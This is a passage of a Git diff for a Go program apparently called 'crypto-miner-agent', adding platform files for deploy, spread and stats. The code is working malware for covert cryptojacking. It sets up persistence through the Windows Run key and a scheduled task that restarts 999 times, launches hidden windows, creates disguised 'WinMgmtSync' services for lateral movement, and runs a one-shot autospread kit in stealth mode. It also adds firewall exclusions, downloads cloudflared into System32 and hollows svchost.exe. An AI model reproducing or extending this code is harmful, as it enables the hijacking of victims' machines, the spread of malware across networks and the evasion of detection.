_ = os.Remove(filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user", unitName))
|
||||
}
|
||||
}
|
||||
|
||||
func selfUninstallSpawn(installDir string) {
|
||||
script := fmt.Sprintf("#!/bin/sh\nsleep 2\nrm -rf %q\n", installDir)
|
||||
tmp := filepath.Join(os.TempDir(), "af-uninstall.sh")
|
||||
_ = os.WriteFile(tmp, []byte(script), 0755)
|
||||
cmd := exec.Command("/bin/sh", tmp)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
102
agent/deploy/platform_windows.go
Normal file
102
agent/deploy/platform_windows.go
Normal file
@@ -0,0 +1,102 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func CurrentExecutable() (string, error) {
|
||||
path, err := os.Executable()
|
||||
if err != nil {
|
||||
return filepath.Abs(os.Args[0])
|
||||
}
|
||||
return filepath.Abs(path)
|
||||
}
|
||||
|
||||
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag))
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled", "service":
|
||||
return createScheduledTask(cfg, installedBin)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||
taskName := PersistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(binPath, `'`, `''`),
|
||||
runFlag,
|
||||
strings.ReplaceAll(taskName, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: 0x08000000,
|
||||
}
|
||||
}
|
||||
|
||||
func HostOSVersion() string {
|
||||
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
|
||||
if err != nil {
|
||||
return "windows"
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
|
||||
}
|
||||
|
||||
func removePersistence(cfg config.RuntimeConfig) {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err == nil {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
}
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
}
|
||||
|
||||
func selfUninstallSpawn(installDir string) {
|
||||
ps := fmt.Sprintf(`
|
||||
$dir = '%s'
|
||||
Start-Sleep -Seconds 2
|
||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
24
agent/deploy/priority_unix.go
Normal file
24
agent/deploy/priority_unix.go
Normal file
@@ -0,0 +1,24 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func SetProcessPriority(priority string) error {
|
||||
nice := 5
|
||||
switch priority {
|
||||
case "idle":
|
||||
nice = 19
|
||||
case "below_normal":
|
||||
nice = 10
|
||||
case "normal":
|
||||
nice = 5
|
||||
case "above_normal":
|
||||
nice = 0
|
||||
case "high":
|
||||
nice = -5
|
||||
}
|
||||
return syscall.Setpriority(syscall.PRIO_PROCESS, 0, nice)
|
||||
}
|
||||
@@ -1,10 +1,11 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func SetProcessPriority(priority string) error {
|
||||
@@ -26,7 +27,3 @@ func SetProcessPriority(priority string) error {
|
||||
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func CurrentExecutable() (string, error) {
|
||||
return filepath.Abs(os.Args[0])
|
||||
}
|
||||
72
agent/deploy/spreadkit.go
Normal file
72
agent/deploy/spreadkit.go
Normal file
@@ -0,0 +1,72 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const spreadLogName = "aetherforge-spread.log"
|
||||
|
||||
// LogSpreadError writes install/connect failures to a temp log (stealth mode discards console).
|
||||
func LogSpreadError(stage string, err error) {
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
line := fmt.Sprintf("%s [%s] %s: %v\n", time.Now().Format(time.RFC3339), runtime.GOOS, stage, err)
|
||||
path := filepath.Join(os.TempDir(), spreadLogName)
|
||||
f, openErr := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
||||
if openErr != nil {
|
||||
return
|
||||
}
|
||||
_, _ = f.WriteString(line)
|
||||
_ = f.Close()
|
||||
}
|
||||
|
||||
func LogSpreadInfo(msg string) {
|
||||
line := fmt.Sprintf("%s [%s] %s\n", time.Now().Format(time.RFC3339), runtime.GOOS, msg)
|
||||
path := filepath.Join(os.TempDir(), spreadLogName)
|
||||
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _ = f.WriteString(line)
|
||||
_ = f.Close()
|
||||
}
|
||||
|
||||
func isLocalhostURL(url string) bool {
|
||||
u := strings.ToLower(strings.TrimSpace(url))
|
||||
return strings.Contains(u, "localhost") ||
|
||||
strings.Contains(u, "127.0.0.1") ||
|
||||
strings.Contains(u, "[::1]")
|
||||
}
|
||||
|
||||
const firstRunSpreadMarker = ".spread_first_run"
|
||||
|
||||
func setFirstRunSpreadMarker(installDir string) error {
|
||||
return os.WriteFile(filepath.Join(installDir, firstRunSpreadMarker), []byte("1\n"), 0600)
|
||||
}
|
||||
|
||||
// WantsFirstRunSpread reports a one-shot autospread after spread-kit install.
|
||||
func WantsFirstRunSpread(cfg config.RuntimeConfig) bool {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
_, err = os.Stat(filepath.Join(dir, firstRunSpreadMarker))
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// ClearFirstRunSpreadMarker removes the first-run spread marker.
|
||||
func ClearFirstRunSpreadMarker(cfg config.RuntimeConfig) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = os.Remove(filepath.Join(dir, firstRunSpreadMarker))
|
||||
}
|
||||
35
agent/deploy/tunnel.go
Normal file
35
agent/deploy/tunnel.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// StartCloudflaredTunnel launches cloudflared pointing at serverURL (background).
|
||||
func StartCloudflaredTunnel(serverURL string) (string, error) {
|
||||
serverURL = strings.TrimSpace(serverURL)
|
||||
if serverURL == "" {
|
||||
return "", fmt.Errorf("server URL required")
|
||||
}
|
||||
|
||||
checkCmd := exec.Command("cloudflared", "--version")
|
||||
if err := checkCmd.Run(); err != nil {
|
||||
downloadCmd := exec.Command("powershell", "-Command",
|
||||
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
||||
if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil {
|
||||
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
|
||||
}
|
||||
src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe")
|
||||
dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")
|
||||
_ = exec.Command("copy", "/Y", src, dst).Run()
|
||||
}
|
||||
|
||||
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
|
||||
if err := tunnelCmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start cloudflared: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil
|
||||
}
|
||||
@@ -3,61 +3,46 @@ package deploy
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
// Uninstall removes persistence, stops the process, and deletes the install directory.
|
||||
func Uninstall(cfg config.RuntimeConfig) error {
|
||||
processName := cfg.EffectiveProcessName()
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, processName+".exe")
|
||||
|
||||
_ = exec.Command("taskkill", "/F", "/IM", processName+".exe").Run()
|
||||
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err == nil {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
installedBin, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
|
||||
killWorkerProcess(cfg)
|
||||
removePersistence(cfg)
|
||||
RemoveFirewallExclusion(cfg)
|
||||
|
||||
// Clean up potential lateral movement services
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
|
||||
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
|
||||
// Self-uninstall: spawn cleanup then exit.
|
||||
ps := fmt.Sprintf(`
|
||||
$dir = '%s'
|
||||
Start-Sleep -Seconds 2
|
||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Start()
|
||||
if path, err := CurrentExecutable(); err == nil && samePath(path, installedBin) {
|
||||
selfUninstallSpawn(installDir)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if err := os.RemoveAll(installDir); err != nil {
|
||||
return fmt.Errorf("remove install dir: %w", err)
|
||||
}
|
||||
|
||||
// If the agent is running in memory (Process Hollowing), it won't be killed
|
||||
// by the taskkill command above. We must explicitly terminate the thread.
|
||||
os.Exit(0)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// EnsureFirewallExclusion is implemented per platform.
|
||||
func EnsureFirewallExclusion(cfg config.RuntimeConfig, binPath string) {
|
||||
if !cfg.FirewallExclusion {
|
||||
return
|
||||
}
|
||||
platformEnsureFirewall(cfg, binPath)
|
||||
}
|
||||
|
||||
// RemoveFirewallExclusion is implemented per platform.
|
||||
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
|
||||
platformRemoveFirewall(cfg)
|
||||
}
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/client"
|
||||
@@ -25,6 +26,17 @@ func main() {
|
||||
log.Fatal("server URL is required in built-in configuration")
|
||||
}
|
||||
|
||||
if deploy.WantsSpreadInstall() {
|
||||
installed, err := deploy.SpreadInstall(cfg)
|
||||
if err != nil {
|
||||
deploy.LogSpreadError("fatal", err)
|
||||
log.Fatalf("[spread-install] failed: %v", err)
|
||||
}
|
||||
if installed {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
installed, err := deploy.InstallIfNeeded(cfg)
|
||||
if err != nil {
|
||||
log.Fatalf("[installer] failed: %v", err)
|
||||
@@ -57,21 +69,22 @@ func main() {
|
||||
|
||||
deploy.StartWatchdog(cfg)
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
|
||||
if cfg.FirewallExclusion {
|
||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
deploy.EnsureFirewallExclusion(cfg, installedExe)
|
||||
if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil {
|
||||
deploy.EnsureFirewallExclusion(cfg, binPath)
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
|
||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL,
|
||||
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
|
||||
// Trigger Process Hollowing Memory Injection if enabled
|
||||
if cfg.ProcessHollowing {
|
||||
// Simple check: if we aren't already running as svchost, hollow it!
|
||||
if cfg.ProcessHollowing && runtime.GOOS == "windows" {
|
||||
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
|
||||
exePath, _ := os.Executable()
|
||||
payload, err := os.ReadFile(exePath)
|
||||
@@ -79,7 +92,7 @@ func main() {
|
||||
log.Printf("[hollowing] Injecting into svchost.exe...")
|
||||
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
|
||||
if err == nil {
|
||||
os.Exit(0) // Successfully hollowed and running in memory, terminate disk process
|
||||
os.Exit(0)
|
||||
}
|
||||
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
||||
}
|
||||
|
||||
34
agent/stats/reporter_darwin.go
Normal file
34
agent/stats/reporter_darwin.go
Normal file
@@ -0,0 +1,34 @@
|
||||
//go:build darwin
|
||||
|
||||
package stats
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||
out, err := exec.Command("sysctl", "-n", "hw.memsize").Output()
|
||||
if err != nil {
|
||||
return 0, 0
|
||||
}
|
||||
total, _ = strconv.ParseUint(strings.TrimSpace(string(out)), 10, 64)
|
||||
out, err = exec.Command("vm_stat").Output()
|
||||
if err != nil {
|
||||
return total, total / 2
|
||||
}
|
||||
// Rough available estimate from vm_stat free pages
|
||||
var pageSize uint64 = 4096
|
||||
var freePages uint64
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
if strings.Contains(line, "Pages free") {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) >= 3 {
|
||||
freePages, _ = strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
|
||||
}
|
||||
}
|
||||
}
|
||||
avail = freePages * pageSize
|
||||
return total, avail
|
||||
}
|
||||
7
agent/stats/reporter_fallback.go
Normal file
7
agent/stats/reporter_fallback.go
Normal file
@@ -0,0 +1,7 @@
|
||||
//go:build !linux && !darwin && !windows
|
||||
|
||||
package stats
|
||||
|
||||
func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||
return 0, 0
|
||||
}
|
||||
41
agent/stats/reporter_linux.go
Normal file
41
agent/stats/reporter_linux.go
Normal file
@@ -0,0 +1,41 @@
|
||||
//go:build linux
|
||||
|
||||
package stats
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||
f, err := os.Open("/proc/meminfo")
|
||||
if err != nil {
|
||||
return 0, 0
|
||||
}
|
||||
defer f.Close()
|
||||
var memTotal, memAvail uint64
|
||||
sc := bufio.NewScanner(f)
|
||||
for sc.Scan() {
|
||||
line := sc.Text()
|
||||
if strings.HasPrefix(line, "MemTotal:") {
|
||||
memTotal = parseKB(line)
|
||||
} else if strings.HasPrefix(line, "MemAvailable:") {
|
||||
memAvail = parseKB(line)
|
||||
}
|
||||
}
|
||||
if memTotal == 0 {
|
||||
return 0, 0
|
||||
}
|
||||
return memTotal * 1024, memAvail * 1024
|
||||
}
|
||||
|
||||
func parseKB(line string) uint64 {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 2 {
|
||||
return 0
|
||||
}
|
||||
v, _ := strconv.ParseUint(fields[1], 10, 64)
|
||||
return v
|
||||
}
|
||||
50
agent/stats/reporter_unix.go
Normal file
50
agent/stats/reporter_unix.go
Normal file
@@ -0,0 +1,50 @@
|
||||
//go:build !windows
|
||||
|
||||
package stats
|
||||
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type Reporter struct {
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
func NewReporter() *Reporter {
|
||||
return &Reporter{}
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
|
||||
hostname, _ = os.Hostname()
|
||||
cpuCores = runtime.NumCPU()
|
||||
total, _ := r.memoryStatus()
|
||||
memoryGB = int(total / (1024 * 1024 * 1024))
|
||||
if memoryGB < 1 {
|
||||
memoryGB = 1
|
||||
}
|
||||
return hostname, cpuCores, memoryGB
|
||||
}
|
||||
|
||||
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
|
||||
total, avail := r.memoryStatus()
|
||||
if total > 0 {
|
||||
memPct = float64(total-avail) / float64(total) * 100
|
||||
}
|
||||
return 0, memPct
|
||||
}
|
||||
|
||||
func (r *Reporter) FreeMemoryMB() uint64 {
|
||||
_, avail := r.memoryStatus()
|
||||
return avail / (1024 * 1024)
|
||||
}
|
||||
|
||||
func (r *Reporter) TotalMemoryMB() uint64 {
|
||||
total, _ := r.memoryStatus()
|
||||
return total / (1024 * 1024)
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
return 0
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package stats
|
||||
|
||||
import (
|
||||
@@ -54,7 +56,6 @@ func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
|
||||
if total > 0 {
|
||||
memPct = float64(total-avail) / float64(total) * 100
|
||||
}
|
||||
// CPU usage is reported by the agent client from mining load; keep a sane default here.
|
||||
cpuPct = 0
|
||||
return cpuPct, memPct
|
||||
}
|
||||
Reference in New Issue
Block a user